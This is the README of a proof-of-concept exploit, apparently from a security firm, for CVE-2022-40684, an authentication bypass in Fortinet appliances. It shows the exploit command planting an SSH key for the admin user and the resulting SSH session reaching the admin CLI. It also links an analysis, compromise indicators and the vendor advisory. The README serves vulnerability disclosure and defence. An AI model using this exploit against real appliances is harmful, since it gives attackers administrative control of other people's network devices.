POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.

A technical root cause analysis of the vulnerability can be found on our blog: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684

For analyizing Fortinet logs for indicators of compromise and how to enable deeper logs check out our IOC blog: https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/

This POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.

root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 # 
config      Configure object.
get         Get dynamic and system information.
show        Show configuration.
diagnose    Diagnose facility.
execute     Execute static commands.
alias       Execute alias commands.
exit        Exit the CLI.

Update to the latest version or mitigate by following the instructions within the Fortinet PSIRT

• https://www.fortiguard.com/psirt/FG-IR-22-377

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

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